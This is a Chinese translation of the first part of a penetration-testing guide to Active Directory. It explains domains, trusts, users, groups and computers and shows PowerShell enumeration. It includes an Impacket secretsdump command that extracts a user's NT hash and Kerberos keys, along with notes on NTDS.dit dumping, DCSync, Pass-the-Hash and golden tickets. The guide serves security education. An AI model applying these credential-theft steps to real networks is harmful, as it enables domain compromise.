Attacking Active Directory: 0 to 0.9(译文,上篇)


Why this post?

本指南旨在从攻击者的角度考察Active Directory。为此,我们将回顾Active Directory的不同方面,以及所有渗透测试人员都应该掌握的术语,以更好地理解与Active Directory相关的网络攻击。为了理解Active Directory攻击技术,我认为重要的是:不仅要了解相关工具,还要了解这些工具的工作原理,所使用的协议/机制,以及这些机制/协议的设计初衷——当然,理解其他攻击技术时,道理也是一样的。这里提供的信息来开源社区以及自身使用Active Directory的经验。但是,我无法保证这里所说的一切都是正确的,所以,我们鼓励您亲自动手进行相关的测试。如果您发现任何错误,欢迎致电zer1t0ps@protonmail.com。当然,一篇指南很难覆盖Active Directory的方方面面,但至少提供了理解Active Directory及其攻击技术所需的基础知识,并在将来继续丰富本文的内容。因此,如果您觉得需要补充某方面的Active Directory渗透技术,请随时与我联系。

免责声明:本文内容仅用于安全教育,其中介绍的渗透技术只能用于已经获得授权的系统。

我会尽量把文中的相关主题讲透彻。然而,由于每个主题都很复杂,所以,免不了要大量引用外部资源。我的主要目的,是把与Active Directory有关的攻击/协议/技术等主题都收集进来,以方便读者进行查阅,而不是解释特定技术的细枝末节(即使我也试图这样做)。因此,对于这些技术细节感兴趣的读者,我们建议您访问我们提供的超链接,那里有更加细致的介绍。

顺便说一下,我想感谢多年来通过工具、博客、会议讲座等与社区分享知识的所有内容创作者。我查阅了很多资源,不可能逐一感谢所有的内容创作者,所以,这里一并道谢。

    在整个文章中,我将使用Powershell来展示如何检索Active Directory的信息。为此,我将使用ActiveDirectory Powershell模块,当然,如果您喜欢的话,也可以使用其他工具,如Powerview或ldapsearch。

现在,让我们进入正题。

What is Active Directory?

在我看来,Active Directory是这样一个系统:借助它,我们可以通过中央服务器来管理连接在同一网络中的一组计算机和用户。

当然,这个定义远非完全准确,但它足够简单,对于了解什么是AD来说已经足够了。

       ____                         __ 
  o   |    |                       |==|
 /|\  |____| <--------.    .-----> |  |
 / \  /::::/          |    |       |__|
                      v    v
                       .---.
                      /   /|
                     .---. |
                     |   | '
                     |   |/ 
                     '---'  
       ____          ^    ^        ____ 
  o   |    |         |    |       |    |  \o/
 /|\  |____| <-------'    '-----> |____|   | 
 / \  /::::/                      /::::/  / \

Active Directory网络

想象一下,一家拥有数百名员工的公司,每个人都使用自己的计算机(可能是Windows)进行工作。这家公司具有多个不同的部门,如销售部、人力资源部、IT部等。

现在设想一下,销售部门要求在他们的工作站中安装一个新程序。或者每天都有不同办公室的用户忘记密码,需要恢复密码。或者限定新的实习生小组只能访问文件服务器上的哪些文档。

IT团队是否必须一台接一台地在所有的销售工作站上安装该程序?他们必须跑到不同的办公室去恢复用户的密码吗?他们是否应该在文件服务器上为每个实习生都创建一个新的用户,从而只允许他们访问特定目录中的文件?

嗯,他们可以这样做,尽管这将消耗大量的人力和财力。但是由于他们非常聪明:把所有的计算机都连接到Active Directory网络中,这样以来,管理员在自己的工作站上就可以完成所有这些操作了。

实际时间,Active Directory是通过维护一个集中式数据库来实现这一点的,该数据库存储了关于用户、计算机、策略、权限等的所有信息。因此,IT团队可以连接到这个数据库,为实习生创建新用户,并为他们分配相应的权限,使其只能读取其部门特定服务器中特定目录下的文件。

然后,当某位实习生试图登录到Active Directory网络中的计算机时,计算机将查询中央数据库,以检查该实习生用户是否存在(密码是否正确)。通过这种方式,用户可以登录到任何公司计算机(如果他们具有相应的权限的话),同时,员工在工作过程中,只需一个账户就能访问所有公司计算机(例如工作站、数据库服务器、文件服务器等)。

同样,如果用户忘记了密码,她可以通知IT团队,这时只需在这个中央数据库中修改用户密码(并要求用户将该密码改为只有她自己知道的新密码)即可。

对于销售部门来说,IT部门可以在数据库中创建一个新的策略,指出需要为销售部门的计算机安装哪个程序,以及具体的安装方式。然后,当销售工作站读取数据库后,就会执行该策略,从而安装相应的新程序。

我希望这个例子能让您理解为什么Active Directory如此有用,以及为什么世界上几乎所有(中大型)组织都在使用它。也许你已经用过它,通常是在一台按下Ctrl+Alt+Del时才提示输入用户名和密码的电脑上。

那么……如果有人能够窃取一个IT用户的密码会怎样呢?她能改变其他用户的密码吗?以及,她能访问数据库吗?

现在,想必您已经了解了Active Directory的重要性,接下来,我们开始介绍其组成部分。

Domains

首先,我们上面所说的Active Directory网络,其实就是通常所说的域(Domain)。域是一组相互连接的计算机,它们共享一个Active Directory数据库,该数据库由域的中央服务器负责管理,这些服务器被称为域控制器(Domain Controller)。

Domain name

每个域都有一个DNS名称。在许多公司中,域的名称与其Web站点同名,例如contoso.com,而其他公司则使用不同的内部域名,例如contoso.local。

PS C:\Users\Anakin> $env:USERDNSDOMAIN
CONTOSO.LOCAL
PS C:\Users\Anakin> (Get-ADDomain).DNSRoot
contoso.local

通过Powershell确定当前用户域

PS C:\Users\Anakin> (Get-WmiObject Win32_ComputerSystem).Domain
contoso.local

通过Powershell确定当前计算机域

除了DNS名称外,每个域还可以通过NetBIOS名称进行标识。例如,域contoso.local也可以起一个NetBIOS名称,比如CONTOSO。同时,NetBIOS名称可用于登录操作,这时用户被识别为CONTOSO/Administrator,其中第一部分是NetBIOS名称,第二部分是用户名。

最后,一个域还可以通过其SID(安全标识符)进行识别。SID更多的是被程序使用(使用Windows API),而不是被用户使用,但你应该知道如何获取SID,以备不时之需。

PS C:\Users\Anakin> Get-ADDomain | select DNSRoot,NetBIOSName,DomainSID

DNSRoot       NetBIOSName DomainSID
-------       ----------- ---------
contoso.local CONTOSO     S-1-5-21-1372086773-2238746523-2939299801

获取域名的DNS名称、NetBIOS名称与SID

Forests

DNS名称的用途是非常大的,因为它允许为管理目的而创建子域。例如,公司可以首先创建名为contoso.local的根域,然后,为不同的(通常是大的)部门建立相应的子域,如it.contoso.local或sales.contoso.local。

    正如您将注意到的那样,Active Directory允许使用不同的方式来组织基础设施,因此,各个组织可以根据自己的需要选择子域使用方式,比如某些组织可能会为各个部门创建相应的子域,而另一些组织则为不同的办公室创建相应的子域。 
              contoso.local
                    |
            .-------'--------.
            |                |
            |                |
     it.contoso.local hr.contoso.local
            | 
            |
            |
  webs.it.contoso.local

contoso.local林

这些树状结构的域被称为林(forest)。并且,林的名称与该树的根域的名称是相同的。

PS C:\Users\Anakin> Get-ADForest


ApplicationPartitions : {DC=DomainDnsZones,DC=contoso,DC=local, DC=ForestDnsZones,DC=contoso,DC=local}
CrossForestReferences : {}
DomainNamingMaster    : dc01.contoso.local
Domains               : {contoso.local}
ForestMode            : Windows2016Forest
GlobalCatalogs        : {dc01.contoso.local, dc02.contoso.local}
Name                  : contoso.local
PartitionsContainer   : CN=Partitions,CN=Configuration,DC=contoso,DC=local
RootDomain            : contoso.local
SchemaMaster          : dc01.contoso.local
Sites                 : {Default-First-Site-Name}
SPNSuffixes           : {}
UPNSuffixes           : {}

通过Get-ADForest获取林的相关信息

在一个林中,每个域都有自己的数据库和域控制器。不过,林中某个域的用户也可以访问林中的其他域。

这意味着,即使一个域是自治的,无需与其他域进行交互,但从安全角度来看,它也不是孤立的,因为正如我们将看到的,一个域的用户可以访问同一林中其他域的资源(在默认情况下)。然而,一个林的用户在默认情况下无法访问其他林的资源,所以,能够提供安全隔离的逻辑结构是林。

正如我之前所说,每个域都有自己的域控制器,所以,如果一个部门发展得非常壮大,则需要创建专用的域控制器来处理该部门的计算机请求。为此,你可以通过创建一个新的子域来实现这一点,而用户仍然能够访问同一林中其他子域中的计算机。

Functional Modes

与Windows计算机一样,域/林也可以拥有自己的“版本”,即所谓的功能级别。利用域/林的级别,可以添加新的特性。

这些模式是根据使用它们所需的最低版本的Windows Server操作系统来命名的,例如:

Windows2000
Windows2000MixedDomains
Windows2003
Windows2008
Windows2008R2
Windows2012
Windows2012R2
Windows2016
PS C:\Users\Administrator\Downloads> (Get-ADForest).ForestMode
Windows2016Forest
PS C:\Users\Administrator\Downloads> (Get-ADDomain).DomainMode
Windows2016Domain

获取域/林的功能级别

例如,如果你发现了一个Windows2012级别的域/林,就可以知道所有的域控制器的系统版本至少是Windows Server 2012。为了使用域的特性,我们必须了解域的级别,例如,要想支持“受保护用户”组,域至少为Windows2012R2级别。

Trusts

用户可以访问同一林中的其他域,因为它们是通过称为信任的关系链接在一起的。

信任是从一个域到另一个域的连接。不过,它并不是物理网络连接,而是一种身份验证/授权连接。您也许可以访问网络上位于其他域中的计算机,却无法使用您在该域的用户身份登录这些计算机——这就是信任关系的作用。

Trust direction

信任是一种有向关系,其中一方是信任方,另一方是被信任方。当建立这种关系时,被信任域(trusted domain)的用户可以访问信任域(trusting domain)的资源。

信任方向与访问方向正好相反。你可以认为,如果你信任自己的朋友,就允许她进入自己的房间,并如果她感到饥饿,还可以吃自己的食物。

 (trusting)         trusts        (trusted)
  Domain A  -------------------->  Domain B
       outgoing               incoming
       outbound               inbound
                    access
            <--------------------

从域A到域B的信任关系

当信任的方向指向您的当前域时,称为入站或传入信任。传入信任允许您所在域的用户访问其他的域。

反之,如果信任的方向指向其他域,则称为出站或传出信任。这时,其他域的用户可以访问您的域。

当两个域通过传入和传出信任相互连接时,就可以说:它们是通过双向信任连接的(即使真的有两个信任连接)。

您可以使用nltest /domain_trusts命令查看域的信任关系。

PS C:\Users\Administrator> nltest /domain_trusts
List of domain trusts:
    0: CONTOSO contoso.local (NT 5) (Direct Outbound) ( Attr: foresttrans )
    1: ITPOKEMON it.poke.mon (NT 5) (Forest: 2) (Direct Outbound) (Direct Inbound) ( Attr: withinforest )
    2: POKEMON poke.mon (NT 5) (Forest Tree Root) (Primary Domain) (Native)
The command completed successfully

poke.mon域的信任关系

如你所见,我们当前的域是poke.mon(这是Primary Domain属性所致),并且存在多个信任关系。指向域contoso.local的出站信任表明其用户可以访问我们的域,即poke.mon。此外,当前域还有一个与域it.poke.mon的双向信任关系,后者是域poke.mon的一个子域,而且是位于同一个林中。

PS C:\Users\Anakin> nltest /domain_trusts
List of domain trusts:
    0: POKEMON poke.mon (NT 5) (Direct Inbound) ( Attr: foresttrans )
    1: CONTOSO contoso.local (NT 5) (Forest Tree Root) (Primary Domain) (Native)
The command completed successfully

域contoso.local的信任关系

因此,如果检查域contoso.local的信任关系,我们可以看到来自域poke.mon的入站信任,这与前面的信息一致。因此,域contoso.local的用户可以访问域poke.mon。

Trust transitivity

此外,根据传递性,信任关系可以区分为可传递的,与不可传递的。 不可传递的信任只能由信任的双方使用,即信任方和被信任方。而可传递的信任可以充当桥梁,并用于与由可传递的信任连接的域所连接的第三个域。

      (trusting)   trusts   (trusted)  (trusting)   trusts   (trusted)
  Domain A  ------------------->  Domain B --------------------> Domain C
                    access                          access
            <-------------------           <--------------------

通过信任关系连接的三个域

例如,如果域A和域B之间的信任是可传递的,那么,域C的用户就可以通过两个信任关系来访问域A。如果域A-->域B的信任关系是不可传递的,那么,域C的用户就无法访问域A,但域B的用户可以访问域A。

因此,就同一林中的域而言,所有的域用户都可以访问其他的域,因为所有的父域和子域都是通过双向的、可传递的信任关系相互连接的。这样一来,林中的任何域都可以穿越所需的信任关系来访问同一林中的其他域。

在一个林中,为了允许从任何域到其他域的访问,所有的父域和子域都必须通过双向的、可传递的信任关系连接在一起。

              contoso.local
               ^  v   v  ^  
          .----'  |   |  '----.
          |  .----'   '----.  |
          ^  v             v  ^
     it.contoso.local hr.contoso.local
          ^  v 
          |  |
          ^  v
  webs.it.contoso.local

contoso.local林中的信任关系

因此,要想访问hr.contoso.local中的计算机,webs.it.contoso.local的用户必须穿过三个信任关系。

Trust types

在Active Directory中,提供了多种具有不同用途的信任类型,具体如下所示:

  • Parent-Child:父域和其子域之间创建的默认信任关系。
  • Forest:林间共享资源的信任关系。这样,林中的任何域都可以访问其他林中的任何域(如果信任的方向和传递性允许的话)。如果林信任配置错误,则可能被用来控制其他林。
  • External:连接到非受信林中的特定域的信任关系。
  • Realm:连接Active Directory和非Windows域的特殊信任关系。
  • Shortcut:当林中的两个域经常通信但不直接连接时,可以通过创建直连快捷信任来避免跳过多个信任关系。

Trust key

从技术上讲,使用信任关系时,我们的域的域控制器与目标域(或中间域)的域控制器之间肯定会出现通信。

不过,如何进行通信取决于正在使用的协议(比如NTLM、Kerberos协议等),但在任何情况下,域控制器都需要共享一个密钥以保证通信安全。这个密钥被称为信任密钥,它是在建立信任关系的时候创建的。

当一个信任关系被创建时,就会在域数据库中创建一个信任账户,这里将信任关系看作是一个用户(账户名以$结尾)。然后,信任密钥就像信任用户的密码一样被存储(在NT哈希值和Kerberos密钥中)。

More on trusts

要想了解渗透测试过程中是如何利用信任关系的,可以查阅下面的文章(建议提前预习Kerberos方面的基础知识):

  • It’s All About Trust – Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts
  • A Guide to Attacking Domain Trusts
  • Active Directory forest trusts part 1 - How does SID filtering work?
  • Inter-Realm Key Roasting (well… within the first 30 days)
  • Not A Security Boundary: Breaking Forest Trusts

Users

使用Active Directory时,主要任务之一就是用户管理。不同组织通常都以不同的方式来管理用户,为其设置名称格式,分配不同的权限,等等。

为了方便地管理Active Directory中的用户,通常会将他们将作为对象存储在中央数据库中,这样的话,管理员就可以从域的任何位置(如果您有足够的权限的话)来查阅和操作这些数据库了。

User properties

User Identifiers

对象user通常会存储各种不同的数据,但最重要的属性就是那些可用于识别用户的属性。

为了标识用户,通常会使用用户名,而用户名通常存储在SamAccountName属性中。另外,SID(安全标识符)也可以用于标识用户。

用户SID类似于域SID,实际上是域SID加上用户RID(Relative Identifier,相对标识符)而组成的,后者是出现在用户SID中的最后一个数字。

PS C:\Users\Anakin> Get-ADUser Anakin


DistinguishedName : CN=Anakin,CN=Users,DC=contoso,DC=local
Enabled           : True
GivenName         : Anakin
Name              : Anakin
ObjectClass       : user
ObjectGUID        : 58ab0512-9c96-4e97-bf53-019e86fd3ed7
SamAccountName    : anakin
SID               : S-1-5-21-1372086773-2238746523-2939299801-1103
Surname           :
UserPrincipalName : anakin@contoso.local

获取用户信息

在本例中,域SID为S-1-5-21-1372086773-2238746523-2939299801,用户RID为1103。对于某些工具来说,其输出结果中显示的是SID,而非用户名(因为在一些结构中会用到它,如安全描述符),所以您应该熟悉其格式,以便于识别。

另外,LDAP API使用DirectionishedName来标识对象,因此,如果使用LDAP(这是最常见的方式之一)查询数据库,则可以通过其DirectionishedName查看对该对象的引用。

User Secrets

此外,数据库还需要存储用户机密,以便域控制器对用户进行身份验证。当然,用户密码并不是以明文形式存储的,但会保存以下派生出来的机密:

 NT哈希值(和旧帐户的LM哈希值)
 Kerberos密钥

不用说,非管理员用户无法检索用户机密。实际上,就算域计算机也无法访问它们,因此将身份验证工作留给了域控制器。

为了获取用户机密,您需要管理员权限(或同等权限)以发动dcsync攻击或从域控制器获取C:\Windows\NTDS\ntds.dit文件来转储域数据库。

LM/NT hashes

LM和NT哈希值存储在Windows本地SAM和Active Directory NTDS数据库中,以分别对本地和域用户进行身份验证。另外,LM和NT哈希值的位宽都是16字节。

Password: 123456
LM hash: 44EFCE164AB921CAAAD3B435B51404EE
NT hash: 32ED87BDB5FDC5E9CBA88547376818D4

密码的LM和NT哈希值

然而,LM哈希值的安全强度非常弱,因此,从Windows Vista/Server2008以来就不再使用该哈希值了。创建LM哈希值的过程如下所示:

  1. 将用户密码转换为大写形式。(这压缩了蛮力攻击的搜索空间)。
  2. 如果用户密码小于14个字符,则使用空字符填充,直到长度为14为止。如果密码超过14个字符,则截断密码。(密码超过14个字符是没用的)。
  3. 然后将密码分成两个7字节的字符串。
  4. 每个7字节的字符串用作密钥,使用DES加密算法对KGS!+#$%字符串进行加密。这会产生两个哈希值。
  5. 将得到的两个哈希值串联起来,以形成LM哈希值。(我们可以对两个部分分别加以破解)
upper_password = to_uppercase(password)
14_password = truncate_to_14_bytes(upper_password)

7_part1, 7_part2 = split_7(14_password)

hash1 = des(7_part1, "KGS!+#$%")
hash2 = des(7_part2, "KGS!+#$%")

lm_hash = hash1 + hash2

计算LM哈希值的伪代码

另一方面,NT哈希值的安全性则更强一些,但由于计算过程中没有使用salt,所以,可以通过预先计算的值(如彩虹表)来破解。

实际上,NT哈希值的计算方法是将MD4算法(已经过时)直接应用于用户密码的Unicode版本(特别是UTF-16LE编码)。

nt_hash = md4(encode_in_utf_16le(password))

计算NT哈希值的伪代码

    很多时候,NT的哈希值被称为NTLM哈希值,然而这可能会引起混淆,因为NTLM协议也使用哈希值,称为NTLM哈希值。在本文中,NTLM哈希值是指NTLM协议的哈希值。

许多工具都可用来提取LM和NT的哈希值,它们通常会返回多行输出,每个用户对应一行,格式为<username>:<rid>:<LM>:<NT>:::。如果没有使用LM,其值将是aad3b435b51404eeaad3b435b51404ee(空字符串的LM哈希值)。

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6535b87abdb112a8fc3bf92528ac01f6:::
user:1001:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::

哈希值转储格式

识别NT哈希值对于渗透测试人员来说是非常重要的,因为即使它们不是用户密码,也是用来在Windows机器上进行验证的,所以它们是非常有用的。它们可以被用来执行Pass-The-Hash或Overpass-the-Hash攻击,以冒充远程机器中的用户。

此外,你可以尝试用hashcat破解LM和NT的哈希值来恢复原始密码。如果你很幸运,这应该是很快的。

Kerberos keys

除了LM/NT哈希值之外,还存储了Kerberos密钥,它来自于用户密码,用于Kerberos身份验证协议。

Kerberos密钥可以用来索取Kerberos票证,它在Kerberos认证中代表用户。实际上操作多种不同的密钥,不同的密钥用于不同的Kerberos加密支持:

AES 256位密钥:由AES256-CTS-HMAC-SHA1-96算法使用。这是Kerberos常用的一种密钥,也是渗透测试人员应该使用的一种,以避免触发警报。
AES 128位密钥:由AES128-CTS-HMAC-SHA1-96算法使用。
DES密钥:被废弃的DES-CBC-MD5算法所使用。
RC4密钥:这是由RC4-HMAC算法使用的用户的NT哈希值。
$ secretsdump.py 'contoso.local/Administrator@192.168.100.2' -just-dc-user anakin
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
contoso.local\anakin:1103:aad3b435b51404eeaad3b435b51404ee:cdeae556dc28c24b5b7b14e9df5b6e21:::
[*] Kerberos keys grabbed
contoso.local\anakin:aes256-cts-hmac-sha1-96:ecce3d24b29c7f044163ab4d9411c25b5698337318e98bf2903bbb7f6d76197e
contoso.local\anakin:aes128-cts-hmac-sha1-96:18fe293e673950214c67e9f9fe753198
contoso.local\anakin:des-cbc-md5:fbba85fbb63d04cb
[*] Cleaning up...

从域数据库中提取的Kerberos密钥

这些密钥可用于Pass-The-Key攻击,以检索被冒充用户的票证。然后,您可以使用Kerberos票证以相应用户的身份对域的不同服务进行身份验证。

UserAccountControl

user类的一个有趣的属性是UserAccountControl(UAC)(不要将其与用户帐户控制机制混淆,以避免在Windows计算机中执行特权程序)。

UserAccountControl属性包含一系列标志,这些标志与安全性和域非常相关,并用于本文中提到的许多攻击。以下是最相关的标志:

  • ACCOUNTDISABLE->帐户被禁用,无法使用。
  • dont_require_preauth->帐户不需要Kerberos预身份验证。
  • NOT_Delegated->此帐户不能通过Kerberos委派进行委派。
  • Trusted_for_deliver->Kerberos对该帐户及其服务启用了无约束委派。要想修改它,需要SeEnableDelegationPrivilege权限。
  • Trusted_to_auth_for_deliver->为该帐户及其服务启用了Kerberos S4U2Self扩展。要想修改它,需要SeEnableDelegationPrivilege权限。

Other user properties

成为,还有一些其他的属性在渗透测试中也非常有用:

  • Description->对用户的描述。它可以给出用户的权限,有时甚至包括密码。
  • AdminCount->指示用户(或组)是否受到AdminSDHolder对象的保护,或者已经受到保护。由于有时不更新,所以仅将其用作参考。
  • MemberOf->用户是其成员的组。该属性是逻辑属性,是通过组的Members属性生成的。
  • primarygroupid->用户的主要组。这个组不会出现在MemberOf属性中。
  • ServicePrincipalName->用户的服务。可能对Kerberoast攻击有用。
  • MSDS-AllowedToDelegateTo->用户(及其服务)可以使用Kerberos约束委派冒充客户端的服务列表。要想修改它,需要SeEnableDelegationPrivilege权限。

Important Users

要查询用户,有多种方式,比如net user /domain命令,或者Powershell。无需特殊的权限,就可以列出用户,任何用户都可以这样做。

PS C:\Users\Anakin> Get-ADUser -Filter * | select SamAccountName

SamAccountName
--------------
Administrator
Guest
krbtgt
anakin
han
POKEMON$

用Powershell列出用户

您可能会注意到,这个测试域很小,即用户数量很少,但在现实的渗透测试过程中,域中的用户通常多达数百或数千。所以,区分哪些人是真正重要的用户,是一项非常重要的技能。这可能有点棘手,因为这取决于组织,但IT团队的成员因工作只需通常需要使用特权用户。

此外,默认情况下,内置的管理员用户是域中权限最高的帐户。它可以在任何计算机中执行任何操作。因此,如果您能够危及该帐户,就可以完全控制域(甚至通过使用SID历史攻击来控制林)。

此外,krbtgt账户也非常重要。它的机密(NT哈希值和Kerberos密钥)用于加密Kerberos使用的票证(特别是TGT),允许对用户进行身份验证。如果您能够入侵krbtgt帐户,就能够创建黄金票证。通常,只能通过转储域数据库来入侵该帐户,因为它只在域控制器中使用,这要求您在域中具有管理员权限。

Computer accounts

另一件需要考虑的事情是,在一个组织中,每个人都拥有自己的用户账户,但是像IT部门中的某些人员,则可能拥有超过多个用户账户,以执行不同的任务。此外,域中的每台计算机都有自己的用户账户,因为它们也需要在域中执行自己的操作,例如更新组策略,验证登录到计算机中的域用户的凭据等。

用户帐户和计算机帐户之间的区别在于,前者在数据库中存储为User类的实例,而其他帐户则存储为Computer类的实例(它是User类的子类)。此外,计算机帐户名是计算机主机名,以美元符号$结尾。

您可以通过执行以下命令来检查用户:

PS C:\> Get-ADObject -LDAPFilter "objectClass=User" -Properties SamAccountName | select SamAccountName

SamAccountName
--------------
Administrator
Guest
DC01$
krbtgt
anakin
WS01-10$
WS02-7$
DC02$
han
POKEMON$

检索域中的所有用户

正如你所看到的,比起使用Get-ADUser命令,这里显示的用户要更多一些,因为现在包括了User类的子类。你可以看到,新账户的结尾是一个美元符号,似乎是些计算机名。例如,DC01$和DC02$用于域控制器,WS01-10$和WS02-7$用于工作站。

此外,计算机对象还保存了关于其操作系统的信息,这些信息可以从属性OperatingSystem或OperatingSystemVersion中获取。

此外,许多组织都提供了给计算机和用户取名的规则,因此,如果您能够理解这些名称,就能推测出计算机和用户帐户的用途,以及哪些帐户可以获得特权或包含对敏感信息的访问权限。此外,您还可以检查对象的其他属性,如Description,以便在其中找到更多信息(甚至明文密码)。Powerview的Find-DomainObjectPropertyOutlier Cmdlet对此非常有用。

Trust accounts

然而,还有一个POKEMON$账户出现在Get-ADUser和Get-ADObject命令的输出结果中,但其名字以美元符号结尾。这可能是正常的用户(创建以$结尾的用户名没有问题),然而,正如我们之前看到的,它还跟poke.mon域具有信任关系。

当一个信任被建立时,在每个域中都会创建一个相关的用户对象来存储信任密钥。用户的名字是其他域的NetBIOS名称,以$结尾(类似于计算机账户名)。例如,在FOO域和BAR域之间建立信任后,FOO域将在BAR$用户中存储信任密钥,而BAR域将在FOO$用户中存储信任密钥。

PS C:\> Get-ADUser  -LDAPFilter "(SamAccountName=*$)" | select SamAccountName

SamAccountName
--------------
POKEMON$

列出域中的信任帐户

这个Pokemon$user对象用于存储信任密钥,这些密钥可以是NT哈希值或Kerberos密钥(具体取决于上下文)。如果您能够获得该帐户的机密,就可以创建跨领域(inter-realm)的Kerberos票证。

Groups

但是,如果不对用户进行分组,管理起来就会很麻烦。例如,假设经理部门需要访问高度敏感的文件。你应该给每个经理逐一进行授权吗?这虽然看起来有点麻烦,但仍然是可行的,因为每年可能只来一个新经理。但现在策略改变了,经理们也应该能够访问人力资源部门的文件。那么,现在还能一个人一个人地修改所有经理的权限吗?不,工作量太大,而且很繁琐。

解决办法是使用组。在这种情况下,你可以创建一个“Manager”组,将所用经理用户都添加到这个组中,当策略改变时,只需为这个组添加或删除相应的权限即可。

和用户一样,组也被存储在域数据库中。而且,同样的,它们也可以通过SamAccountName属性或SID进行标识。

您可以查阅数据库,以便列出组及其成员。

PS C:\Users\Anakin> Get-ADGroup -Filter * | select SamAccountName

SamAccountName
--------------
Administrators
Users
Guests
<-- stripped output -->
Domain Computers
Domain Controllers
Schema Admins
Enterprise Admins
Cert Publishers
Domain Admins
Domain Users
<-- stripped output -->
Protected Users
Key Admins
Enterprise Key Admins
DnsAdmins
DnsUpdateProxy
DHCP Users
DHCP Administrators

列出域中的组

Important groups

Administrative groups

在Active Directory中,已经为域/林中的不同角色定义了许多默认组。作为攻击者,最感兴趣的组之一就是Domain Admins组,因为它为域中的成员提供了管理员权限,因此,了解谁在这个组中非常重要。

PS C:\Users\Anakin> Get-ADGroup "Domain Admins" -Properties members,memberof


DistinguishedName : CN=Domain Admins,CN=Users,DC=contoso,DC=local
GroupCategory     : Security
GroupScope        : Global
MemberOf          : {CN=Denied RODC Password Replication Group,CN=Users,DC=contoso,DC=local,
                    CN=Administrators,CN=Builtin,DC=contoso,DC=local}
Members           : {CN=Administrator,CN=Users,DC=contoso,DC=local}
Name              : Domain Admins
ObjectClass       : group
ObjectGUID        : ac3ac095-3ea0-4922-8130-efa99ba99afa
SamAccountName    : Domain Admins
SID               : S-1-5-21-1372086773-2238746523-2939299801-512

显示与Domain Admins组相关的信息

此外,还有其他重要的组,也可以为我们提供很多特权,甚至更多。例如,Enterprise Admins组就是其中之一,它为其成员提供了所有林的管理员权限。

Enterprise Admins是一个只存在于林的根域中的组,但被默认添加到林中所有域的管理员组中。

另一方面,Domain Admins组将被添加到域的Administrators组,以及域计算机的Administrators组。

                        .------------------------.
                        |     contoso.local      |
       .-------------------------------------------------------------.
       |                                                             |
       |                   .----------------.                        |  
       |               .-->| Administrators |<-.   .->Administrators |
       |               |   '----------------'  |   |     ____        | 
       |               |    .---------------.  |   |    |    |       |
       |               |    | Domain Admins |>-'---'    |____|       |
       |               |    '---------------'           /::::/       |
       |               |   .-------------------.                     |
       |               '--<| Enterprise Admins |                     |
       |                   '-------------------'                     |
       |                             v v                             |
       '-----------------------------|-|-----------------------------'  
                           |         | |      |                         
                           |         | |      |                         
                 .---------'         | |      '-----------.             
                 |                   v v                  |             
.----------------------------------. | | .----------------------------------.
|        it.contoso.local          | | | |        hr.contoso.local          |
|----------------------------------| | | |----------------------------------|
|                                  | v v |                                  |
|        .----------------.        | | | |        .----------------.        |
|     .->| Administrators |<---------' '--------->| Administrators |<-.     |
|     |  '----------------'        |     |        '----------------'  |     |
|     |  .---------------.         |     |        .---------------.   |     |
|     '-<| Domain Admins |         |     |        | Domain Admins |>--'     |
|        '---------------'         |     |        '---------------'         |
|                |                 |     |                |                 |
|        .-------'---------.       |     |        .-------'---------.       |
|        |                 |       |     |        |                 |       |
|        v                 v       |     |        v                 v       |
| Administrators    Administrators |     | Administrators    Administrators |
|       ____              ____     |     |      ____              ____      |
|      |    |            |    |    |     |     |    |            |    |     |
|      |____|            |____|    |     |     |____|            |____|     |
|      /::::/            /::::/    |     |     /::::/            /::::/     |
'----------------------------------'     '----------------------------------'

林中各个Administrators组中的成员

Other important groups

但还有其他重要的组也需要考虑在内。

DNSAdmins

DNSAdmins组可以允许其成员通过使用任意的DLL在域控制器中以SYSTEM身份执行代码。

Protected Users

Protected Users 组允许强制执行账户的安全策略。他们的成员不允许:

    使用NTLM进行身份验证(只允许使用Kerberos)。
    在Kerberos预身份验证中使用DES或RC4加密类型。
    用无限制的或有限制的授权执行委派。
    超过最初的四小时生存周期后继续给Kerberos TGT“续命”。

这可以阻止通过NTLM中继或Kerberos委派来攻击这些账户。

Schema Admins

Schema Admins组成员可以修改Active Directory的数据库架构。

Account Operators

Account Operators组可以修改域中许多组的成员,但不包括各种Administrators组。但是,它可以修改Server Operators组。

Backup Operators

Backup Operators组成员可以备份和恢复域控制器中的文件(他们也可以登录它们)。他们也可以修改域控制器中的文件。

Print Operators

Print Operators组成员可以登录到域控制器。

Server Operators

Server Operators组成员可以登录域控制器并管理其配置。

Remote Desktop Users

Remote Desktop Users组成员可以通过RDP登录到域控制器中。

Group Policy Creator Owners

Group Policy Creator Owners组成员可以在域中编辑GPO。

Microsoft文档中还描述了许多其他组。此外,许多组织还添加了自定义组,并且这些自定义组也可以具有很高的权限,就像IT成员使用的那些组一样。

此外,许多软件(特别是Microsoft软件)也会添加自己的组,以便于进行管理;例如Exchange,它就可以添加特权组,如Exchange Windows Permissions组,而这些组用户可以利用相应的权限发动DCSync攻击(如果没有正确更新的话)。

Group Scope

在Active Directory中,根据其作用范围可以将组分为三种不同的类型。了解这些类型将有助于理解如何管理域和林。

Universal组,其成员可以来自同一林中,并授予在同一林或受信林中的相应权限。Enterprise Admins组就是一个Universal组。
Global组,其成员必须来自同一域,并授予在同一林的域或受信域或林中的相应权限。Domain Admins组就是一个Global组。
最后,DomainLocal组可以有来自本域或任何受信域的成员,并且只授予其域中的权限。Administrators组就是一个DomainLocal组。

除此之外,你还应该知道,域组(和域用户)可以是计算机本地组的成员。例如,默认情况下,Domain Admins组将被添加到机器的Administrators本地组中。

Computers

当然,计算机是Active Directory的核心部分。正如我们所说的,所有的操作都是针对这些机器的,同时,它们也是Active Directory的用户,需要连接到域控制器。

在每个领域都有三种类型的计算机:

  • 域控制器:管理域的中央服务器,它们通常运行Windows服务器系统。
  • 工作站:人们每天都使用的个人电脑。这些机器的操作系统通常是Windows10或7。
  • 服务器:提供网络、文件或数据库等服务的计算机。它们通常运行Linux或Windows服务器系统。

Domain Controllers

